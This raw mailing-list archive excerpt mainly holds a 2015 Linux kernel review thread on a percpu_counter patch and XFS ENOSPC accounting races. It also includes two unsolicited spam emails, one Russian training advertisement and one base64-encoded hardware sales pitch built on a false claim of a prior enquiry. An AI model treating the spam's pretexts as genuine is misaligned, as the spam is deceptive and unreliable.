  -  = =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D1=80=D0=B0=D1=81=D1=81=D1=87=D0=B8=D1=82=D1=8B=D0=B2=D0=B0=D1=82=D1=8C = =D0=BF=D0=BE=D0=BB=D0=BD=D1=83=D1=8E = =D1=8D=D1=84=D1=84=D0=B5=D0=BA=D1=82=D0=B8=D0=B2=D0=BD=D0=BE=D1=81=D1=82=D1= =8C = =D0=BE=D0=B1=D0=BE=D1=80=D1=83=D0=B4=D0=BE=D0=B2=D0=B0=D0=BD=D0=B8=D1=8F<= BR>  -  =D1=81=D0=BC=D0=BE=D0=B6=D0=B5=D1=82=D0=B5=20 = =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D1=8C=D1=81=D1=8F = =D0=BF=D1=80=D0=B8=D0=B5=D0=BC=D0=B0=D0=BC=D0=B8 = =D0=BF=D0=BE=D0=B2=D1=8B=D1=88=D0=B5=D0=BD=D0=B8=D1=8F = =D1=8D=D1=84=D1=84=D0=B5=D0=BA=D1=82=D0=B8=D0=B2=D0=BD=D0=BE=D1=81=D1=82=D0= =B8 =D1=80=D0=B0=D0=B1=D0=BE=D1=82=D1=8B=20 = =D0=BF=D0=B5=D1=80=D1=81=D0=BE=D0=BD=D0=B0=D0=BB=D0=B0
 

           &nbs= p;   =20 =D0=92=20 = =D0=BF=D1=80=D0=BE=D0=B3=D1=80=D0=B0=D0=BC=D0=BC=D0=B5:   =              =

   1.=20 =D0=91=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B5 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=BE.=
   2.
= =D0=98=D0=BD=D1=81=D1=82=D1=80=D1=83=D0=BC=D0=B5=D0=BD=D1=82=D1=8B = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE=20 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.=
   3.
= =D0=9E=D1=80=D0=B3=D0=B0=D0=BD=D0=B8=D0=B7=D0=B0=D1=86=D0=B8=D1=8F = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE=20 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.=
   4.=20 = =D0=92=D0=BD=D0=B5=D0=B4=D1=80=D0=B5=D0=BD=D0=B8=D0=B5 = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.=
  =20 5. = =D0=9A=D0=BB=D1=8E=D1=87=D0=B5=D0=B2=D1=8B=D0=B5 = =D1=84=D0=B0=D0=BA=D1=82=D0=BE=D1=80=D1=8B = =D1=83=D1=81=D0=BF=D0=B5=D1=85=D0=B0=20 =D0=B2=D0=BD=D0=B5=D0=B4=D1=80=D0=B5=D0=BD=D0=B8=D1=8F = =D0=9B=D0=98=D0=9D-=D1=82=D0=B5=D1=85=D0=BD=D0=BE=D0=BB=D0=BE=D0=B3=D0=B8= =D0=B9.
   6. = =D0=9F=D0=BE=D0=B4=D1=85=D0=BE=D0=B4 =D0=BA = =D0=BF=D1=80=D0=B8=D0=BD=D1=8F=D1=82=D0=B8=D1=8E = =D1=80=D0=B5=D1=88=D0=B5=D0=BD=D0=B8=D0=B9=20 = =D0=BE=D1=82=D0=BD=D0=BE=D1=81=D0=B8=D1=82=D0=B5=D0=BB=D1=8C=D0=BD=D0=BE = =D0=B2=D0=BD=D0=B5=D0=B4=D1=80=D0=B5=D0=BD=D0=B8=D1=8F = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.=
=D0=9E=D1=86=D0=B5=D0=BD=D0=BA=D0=B0=20 = =D1=86=D0=B5=D0=BB=D0=B5=D1=81=D0=BE=D0=BE=D0=B1=D1=80=D0=B0=D0=B7=D0=BD=D0= =BE=D1=81=D1=82=D0=B8 = =D0=BF=D1=80=D0=B8=D0=B2=D0=BB=D0=B5=D1=87=D0=B5=D0=BD=D0=B8=D1=8F = =D0=BA=D0=BE=D0=BD=D1=81=D1=83=D0=BB=D1=8C=D1=82=D0=B0=D0=BD=D1=82=D0=BE=D0= =B2.
--------------070807010705040303090503-- From jedicpmg@kxwx.com Mon Oct 5 07:39:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.2 required=5.0 tests=DEAR_SOMETHING,FREEMAIL_FROM, HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 855F27F3F for ; Mon, 5 Oct 2015 07:39:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 66FEC8F8033 for ; Mon, 5 Oct 2015 05:38:59 -0700 (PDT) X-ASG-Debug-ID: 1444048734-04cb6c6b041e3320001-NocioJ Received: from kxwx.com ([223.240.28.13]) by cuda.sgi.com with ESMTP id fliT2KvvEo5dWpbe for ; Mon, 05 Oct 2015 05:38:55 -0700 (PDT) X-Barracuda-Envelope-From: jedicpmg@kxwx.com X-Barracuda-Apparent-Source-IP: 223.240.28.13 Received: from SKY-20150201SFT ([127.0.0.1]) by localhost via TCP with ESMTPA; Mon, 05 Oct 2015 20:38:40 +0800 MIME-Version: 1.0 From: Amos Sender: Amos To: xfs@oss.sgi.com Reply-To: Amos Date: 5 Oct 2015 20:38:40 +0800 Subject: =?utf-8?B?aGFyZHdhcmUgcHJvZHVjdHM=?= Content-Type: text/html; charset=utf-8 X-ASG-Orig-Subj: =?utf-8?B?aGFyZHdhcmUgcHJvZHVjdHM=?= Content-Transfer-Encoding: base64 X-Barracuda-Connect: UNKNOWN[223.240.28.13] X-Barracuda-Start-Time: 1444048734 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23194 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20151005123859.807851296084@cuda.sgi.com> PGh0bWw+PGJvZHk+PFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNsYXNzPU1zb05v cm1hbD48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6ICdUaW1lcyBOZXcgUm9tYW4nLCdzZXJp Zic7IEJBQ0tHUk9VTkQ6IHdoaXRlOyBDT0xPUjogYmxhY2s7IEZPTlQtU0laRTogMThwdCIg bGFuZz1FTi1VUz48Rk9OVCBzaXplPTM+RGVhciBTaXIsPC9GT05UPjwvU1BBTj48U1BBTiBz dHlsZT0iRk9OVC1GQU1JTFk6ICdUaW1lcyBOZXcgUm9tYW4nLCdzZXJpZic7IENPTE9SOiBi bGFjazsgRk9OVC1TSVpFOiAxOHB0IiBsYW5nPUVOLVVTPjxCUj48QlI+PEZPTlQgc2l6ZT0z PjxTUEFOIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0ZSI+SSBhbSBkZWxpZ2h0ZWQgdG8ga25v dyB5b3UuPC9TUEFOPjxCUj48QlI+PFNQQU4gc3R5bGU9IkJBQ0tHUk9VTkQ6IHdoaXRlIj5J IGtub3cgZnJvbSB1cyBpbXBvcnRlcnMgdXMgdGhhdCB5b3UgaGF2ZSBlbnF1aXJlZCBhYm91 dCBoYXJkd2FyZSBwcm9kdWN0cyxPdXIgY29tcGFueSBpcyBoYXJkd2FyZSBPRU0gTWFudWZh Y3R1cmVyLCBPdXIgZXhwb3J0aW5nIEhhcmR3YXJlIGZpdHRpbmcgaW5jbHVkaW5nIENOQyB0 dXJuaW5nIGFuZCBtaWxsaW5nIHByb2R1Y3RzLCBzdGFtcGluZyBwYXJ0cywgZmFzdGVuZXJz LCB6aW5jIGFuZCBhbHVtaW51bSBkaWUgY2FzdGluZywgcHVuY2hlZCBwYXJ0cyBlY3QuIElu IGZhY3QsIEp1c3Qgb25seSB5b3UgaGF2ZSBkcmF3aW5nIHdpdGggcHJvZHVjdHMsIHdlIGNh biBkby48L1NQQU4+PEJSPjxCUj48U1BBTiBzdHlsZT0iQkFDS0dST1VORDogd2hpdGUiPkkg d291bGQgYXBwcmVjaWF0ZSB5b3VyIGVhcmx5IHJlcGx5IGluIGFkdmFuY2UuPC9TUEFOPjxC Uj48QlI+PFNQQU4gc3R5bGU9IkJBQ0tHUk9VTkQ6IHdoaXRlIj5CZXN0IFJlZ2FyZHMsPC9T UEFOPjxCUj48QlI+PFNQQU4gc3R5bGU9IkJBQ0tHUk9VTkQ6IHdoaXRlIj5YaW5kYSBIYXJk d2FyZSBNYW51ZmFjdHVyZSBDby4sIExpbWl0ZWQ8L1NQQU4+PEJSPjxTUEFOIHN0eWxlPSJC QUNLR1JPVU5EOiB3aGl0ZSI+Q0VPOiBBbW9zPC9TUEFOPjwvRk9OVD48L1NQQU4+PC9QPjwv Ym9keT48L2h0bWw+ From waiman.long@hpe.com Mon Oct 5 18:02:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 639DD7F37 for ; Mon, 5 Oct 2015 18:02:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E345BAC005 for ; Mon, 5 Oct 2015 16:02:24 -0700 (PDT) X-ASG-Debug-ID: 1444086142-04cb6c6b071f12b0001-NocioJ Received: from g1t6216.austin.hp.com (g1t6216.austin.hp.com [15.73.96.123]) by cuda.sgi.com with ESMTP id dbejrbFjtnIiEAAr (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 05 Oct 2015 16:02:22 -0700 (PDT) X-Barracuda-Envelope-From: waiman.long@hpe.com X-Barracuda-Apparent-Source-IP: 15.73.96.123 Received: from g1t6215.austin.hpicorp.net (g1t6215.austin.hpicorp.net [15.67.1.191]) by g1t6216.austin.hp.com (Postfix) with ESMTP id 78168D0; Mon, 5 Oct 2015 23:02:22 +0000 (UTC) Received: from [192.168.142.200] (unknown [16.214.214.255]) by g1t6215.austin.hpicorp.net (Postfix) with ESMTP id 5BA328D; Mon, 5 Oct 2015 23:02:21 +0000 (UTC) Message-ID: <5613017D.7080909@hpe.com> Date: Mon, 05 Oct 2015 19:02:21 -0400 From: Waiman Long User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12 MIME-Version: 1.0 To: Dave Chinner CC: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() In-Reply-To: <20151002221649.GL27164@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: g1t6216.austin.hp.com[15.73.96.123] X-Barracuda-Start-Time: 1444086142 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23215 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/02/2015 06:16 PM, Dave Chinner wrote: > On Fri, Oct 02, 2015 at 01:29:57PM -0400, Waiman Long wrote: >> In __percpu_counter_compare(), if the current imprecise count is >> within (batch*nr_cpus) of the input value to be compared, a call >> to percpu_counter_sum() will be made to get the precise count. The >> percpu_counter_sum() call, however, can be expensive especially on >> large systems where there are a lot of CPUs. Large systems also make >> it more likely that percpu_counter_sum() will be called. >> >> The xfs_mod_fdblocks() function calls __percpu_counter_compare() >> twice. First to see if a smaller batch size should be used for >> __percpu_counter_add() and the second call to compare the actual >> size needed. This can potentially lead to 2 calls to the expensive >> percpu_counter_sum() function. > There should not be that much overhead in __percpu_counter_compare() > through this path in normal operation. The slow path is only taken > as you near ENOSPC... Yes, it is for optimizing the case there the filesystem is near ENOSP. >> This patch added an extra argument to __percpu_counter_compare() >> to return the precise count, if computed. The caller will need to >> initialize it to an invalid value that it can tell if the precise >> count is being returned. > This doesn't work. ENOSPC detection is a lockless algorithm that > requires absolute precision. Assuming the XFS_ALLOC_SET_ASIDE() > definition of ENOSPC is 0 blocks free, your change allows this race: > > free space: 1 block > > thread 1 thread 2 free space > allocate 1 block allocate 1 block 1 > sample pcount = 1 1 > sample pcount = 1 1 > add fdblocks, -1, 1) 0 > add fdblocks, -1, 1) -1 > if (pcount - 1>= 0) if (pcount - 1>= 0) > OK! OK! -1 > > So, we've just failed to detect ENOSPC correct. One of those two > threads should have returned ENOSPC and failed the allocation, > but instead we've just allowed XFS to allocate a block that doesn't > exist. Hence we have to resample the percpu counter after the > modification to ensure that we don't miss this race condition. > > Sure, the curent code could race on the second comparisions and > return ENOSPC to both threads, but that is a perfectly OK thing > to do. It is vitally important that we don't oversubscribe > filesystem space, because that will lead to all sorts of other > problems (deadlocks, hangs, shutdowns, etc) that are very difficult > to identify the cause of. > > FWIW, I'm guessing that you didn't run this patch through xfstests? > xfstests will find these ENOSPC accounting bugs, and usually quite > quickly... Thanks for the review. I did miss the case that there was a race condition here. I also haven't run xfstests with this patch. I will do so next time. >> Running the AIM7 disk workload with XFS filesystem, the jobs/min >> on a 40-core 80-thread 4-socket Haswell-EX system increases from >> 3805k to 4276k (12% increase) with this patch applied. As measured >> by the perf tool, the %CPU cycle consumed by __percpu_counter_sum() >> decreases from 12.64% to 7.08%. > XFS should only hit the slow __percpu_counter_sum() path patch as > the fs gets close to ENOSPC, which for your system will be less > than: > > threshold = num_online_cpus * XFS_FDBLOCKS_BATCH * 2 blocks > = 80 * 1024 * 2 blocks > = 160,000 blocks > = 640MB of disk space. > > Having less than 1GB of free space in an XFS filesystem is > considered to be "almost ENOSPC" - when you have TB to PB of space, > less than 1GB really "moments before ENOSPC". We have systems with more than 500 CPUs (HT on). I think SGI has systems with thousands of CPUs. For those large system, the slowpath will be triggered if there is less than 4G or 10G for those thousand CPUs systems. What I am trying to do with my patch is to reduce the performance overhead in those cases. I have no worry for systems that have only a few CPUs. In essence, the per-cpu counter code doesn't scale well for systems with large number of CPUs. > XFS trades off low overhead for fast path allocation with slowdowns > as we near ENOSPC in allocation routines. It gets harder to find > contiguous free space, files get more fragmented, IO takes longer > because we seek more, etc. Hence we accept that performance slows > down as as the need for precision increases as we near ENOSPC. > > I'd suggest you retry your benchmark with larger filesystems, and > see what happens... I don't think I am going to see the slowdown that I observed on larger filesystems with more free space. However, I still think that doing 2 precise count computations is wasteful. I am planning to rework my patch to disable precise count for the first comparison in xfs_mod_fdblocks as that comparison is used to gauge how far it is from ENOSPC. So we don't really need to get the precise count as long as number of CPUs are taken into consideration in the comparison. This change should enable the new patch to have similar performance overhead reduction effect as the old one without the racing condition you mentioned above. Cheers, Longman From waiman.long@hpe.com Mon Oct 5 18:04:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AF1087F37 for ; Mon, 5 Oct 2015 18:04:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B59F1304043 for ; Mon, 5 Oct 2015 16:03:58 -0700 (PDT) X-ASG-Debug-ID: 1444086236-04cbb033b12269e0001-NocioJ Received: from g2t4619.austin.hp.com (g2t4619.austin.hp.com [15.73.212.82]) by cuda.sgi.com with ESMTP id WXx7pcum8ctW5pOt (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 05 Oct 2015 16:03:57 -0700 (PDT) X-Barracuda-Envelope-From: waiman.long@hpe.com X-Barracuda-Apparent-Source-IP: 15.73.212.82 Received: from g1t6215.austin.hpicorp.net (g1t6215.austin.hpicorp.net [15.67.1.191]) by g2t4619.austin.hp.com (Postfix) with ESMTP id 7321B80; Mon, 5 Oct 2015 23:03:56 +0000 (UTC) Received: from [192.168.142.200] (unknown [16.214.214.255]) by g1t6215.austin.hpicorp.net (Postfix) with ESMTP id 784FD66; Mon, 5 Oct 2015 23:03:55 +0000 (UTC) Message-ID: <561301DB.8090100@hpe.com> Date: Mon, 05 Oct 2015 19:03:55 -0400 From: Waiman Long User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12 MIME-Version: 1.0 To: kbuild test robot CC: kbuild-all@01.org, Dave Chinner , Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <201510030251.LfYJ2hol%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() In-Reply-To: <201510030251.LfYJ2hol%fengguang.wu@intel.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: g2t4619.austin.hp.com[15.73.212.82] X-Barracuda-Start-Time: 1444086237 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23216 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/02/2015 02:04 PM, kbuild test robot wrote: > Hi Waiman, > > [auto build test results on v4.3-rc3 -- if it's inappropriate base, please ignore] > > config: ia64-allnoconfig (attached as .config) > reproduce: > wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross > chmod +x ~/bin/make.cross > # save the attached .config to linux build tree > make.cross ARCH=ia64 > > All error/warnings (new ones prefixed by>>): > > Sorry for the build error. There was a typo in the non-SMP portion of the code change. I will fix that in the next version. Cheers, Longman From david@fromorbit.com Mon Oct 5 19:25:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 18FEC7F37 for ; Mon, 5 Oct 2015 19:25:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF6DD8F8037 for ; Mon, 5 Oct 2015 17:25:51 -0700 (PDT) X-ASG-Debug-ID: 1444091147-04bdf04628214fe0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id PcMryUz7pG6izCLu for ; Mon, 05 Oct 2015 17:25:48 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BkCgBoFBNWPEcOLHleGQGDDYFChlqiYgEBAQEBAQaLFYUVhgqGFAQCAoE4TQEBAQEBAQcBAQEBQT+EJAEBAQMBJxMcIwULCAMYCSUPBSUDBxoTiCYHvkEBAQEHAiAZhhOFRYQ1D0kHhCwFlX6ND4FejT6IYoNvgyeBUiozhneBSAEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Oct 2015 10:55:39 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZjG4Z-0008FP-17; Tue, 06 Oct 2015 11:25:39 +1100 Date: Tue, 6 Oct 2015 11:25:39 +1100 From: Dave Chinner To: Waiman Long Cc: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <20151006002538.GO27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5613017D.7080909@hpe.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444091147 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23218 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 05, 2015 at 07:02:21PM -0400, Waiman Long wrote: > On 10/02/2015 06:16 PM, Dave Chinner wrote: > >On Fri, Oct 02, 2015 at 01:29:57PM -0400, Waiman Long wrote: > >>In __percpu_counter_compare(), if the current imprecise count is > >>within (batch*nr_cpus) of the input value to be compared, a call > >>to percpu_counter_sum() will be made to get the precise count. The > >>percpu_counter_sum() call, however, can be expensive especially on > >>large systems where there are a lot of CPUs. Large systems also make > >>it more likely that percpu_counter_sum() will be called. > >> > >>The xfs_mod_fdblocks() function calls __percpu_counter_compare() > >>twice. First to see if a smaller batch size should be used for > >>__percpu_counter_add() and the second call to compare the actual > >>size needed. This can potentially lead to 2 calls to the expensive > >>percpu_counter_sum() function. > >There should not be that much overhead in __percpu_counter_compare() > >through this path in normal operation. The slow path is only taken > >as you near ENOSPC... > > Yes, it is for optimizing the case there the filesystem is near ENOSP. .... > >Having less than 1GB of free space in an XFS filesystem is > >considered to be "almost ENOSPC" - when you have TB to PB of space, > >less than 1GB really "moments before ENOSPC". > > We have systems with more than 500 CPUs (HT on). I think SGI has > systems with thousands of CPUs. For those large system, the slowpath > will be triggered if there is less than 4G or 10G for those thousand > CPUs systems. yes, I'm well aware of this. But systems with hundreds to thousands of CPUs simply do not operate their storage at this capacity. They'll have hundreds of TB or PBs of storage attached, so if we trigger the slow path at 10GB of free space, we are talking about having already used > 99.9% of that capacity. In which case, they are already in a world of pain because filesystem allocation performance starts to degrade at >90% capacity, and we start cutting back preallocations at >95% capacity, and we really start to throttle ispace allocations to their minimum possible sizes at >99% capacity. IOWs, hitting this slow path at >99.9% capacity is really irrelevant.... > What I am trying to do with my patch is to reduce the > performance overhead in those cases. I have no worry for systems > that have only a few CPUs. In essence, the per-cpu counter code > doesn't scale well for systems with large number of CPUs. Maybe so, but we don't tend ot optimise slow paths - we trade off a really fast fast path for a slow, more complex slow path all over the place. Not just in XFS, but all over the kernel. > >XFS trades off low overhead for fast path allocation with slowdowns > >as we near ENOSPC in allocation routines. It gets harder to find > >contiguous free space, files get more fragmented, IO takes longer > >because we seek more, etc. Hence we accept that performance slows > >down as as the need for precision increases as we near ENOSPC. > > > >I'd suggest you retry your benchmark with larger filesystems, and > >see what happens... > > I don't think I am going to see the slowdown that I observed on > larger filesystems with more free space. So there is no problem that needs fixing.... ;) > However, I still think that > doing 2 precise count computations is wasteful. I really don't care about the CPU overhead, because it's far more important that: 1) the zero threshold detection is precise and correct; 2) the fast path is really fast; and 3) I understand the code well enough to be able to debug and maintain it. > I am planning to rework my patch to disable precise count for the > first comparison in xfs_mod_fdblocks as that comparison is used to > gauge how far it is from ENOSPC. So we don't really need to get > the precise count as long as number of CPUs are taken into > consideration in the comparison. I think you are looking in the wrong place. There is nothing wrong with XFS doing two compares here. If we are hitting the __percpu_counter_compare() slow path too much, then we should be understanding exactly why that slow path is being hit so hard so often. I don't see any analysis of the actual per-cpu counter behaviour and why the slow path is being taken so often.... Indeed, have you considered using something like this in the precise path of __percpu_counter_compare() rather than percpu_counter_sum(): /* * Aggregate the per-cpu counter magazines back into the global * counter. This avoids the need for repeated compare operations to * run the slow path when the majority of the counter value is held * in the per-cpu magazines. Folding them back into the global * counter means we will continue to hit the fast * percpu_counter_read() path until the counter value falls * completely within the comparison limit passed to * __percpu_counter_compare(). */ static s64 percpu_counter_aggregate(struct percpu_counter *fbc) { s64 ret; int cpu; unsigned long flags; raw_spin_lock_irqsave(&fbc->lock, flags); ret = fbc->count; for_each_online_cpu(cpu) { s32 count = __this_cpu_read(*fbc->counters); ret += count; __this_cpu_sub(*fbc->counters, count) } fbc->count = ret; raw_spin_unlock_irqrestore(&fbc->lock, flags); return ret; } Some perspective: you wouldn't have seen this behaviour with the previous per-cpu counter code in XFS near ENOSPC. By the time it got this close to ENOSPC it was completely serialising all access to the free space counters with a mutex and then doing per-cpu sums under that mutex (see commit 20b6428 ("[XFS] Reduction global superblock lock contention near ENOSPC."). Hence it wouldn't have appeared in your profiles, even though it was much worse in terms of contention and lock hold times than the current code is. This looks to be the same fundamental problem - the per-cpu counter values are not being managed in a way that reduces minimises precise comparison overhead. Making the above change will tell us whether this is the case or not... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sales7@asl-led.com Tue Oct 6 04:40:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2827A7F37 for ; Tue, 6 Oct 2015 04:40:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2281F304032 for ; Tue, 6 Oct 2015 02:39:57 -0700 (PDT) X-ASG-Debug-ID: 1444124385-04cbb033b2231d30001-NocioJ Received: from smtpbg325.qq.com (smtpbg325.qq.com [14.17.32.36]) by cuda.sgi.com with ESMTP id xskjyVLmkX7XZR0D (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 06 Oct 2015 02:39:47 -0700 (PDT) X-Barracuda-Envelope-From: sales7@asl-led.com X-Barracuda-Apparent-Source-IP: 14.17.32.36 X-QQ-GoodBg: 2 X-QQ-SSF: 00400000000000F0 X-QQ-FEAT: nIf2XWbhHN44+5MdKBulWrTUA1MEwWkbvkneiTtOqqCAKENALtAuU9PKUT715 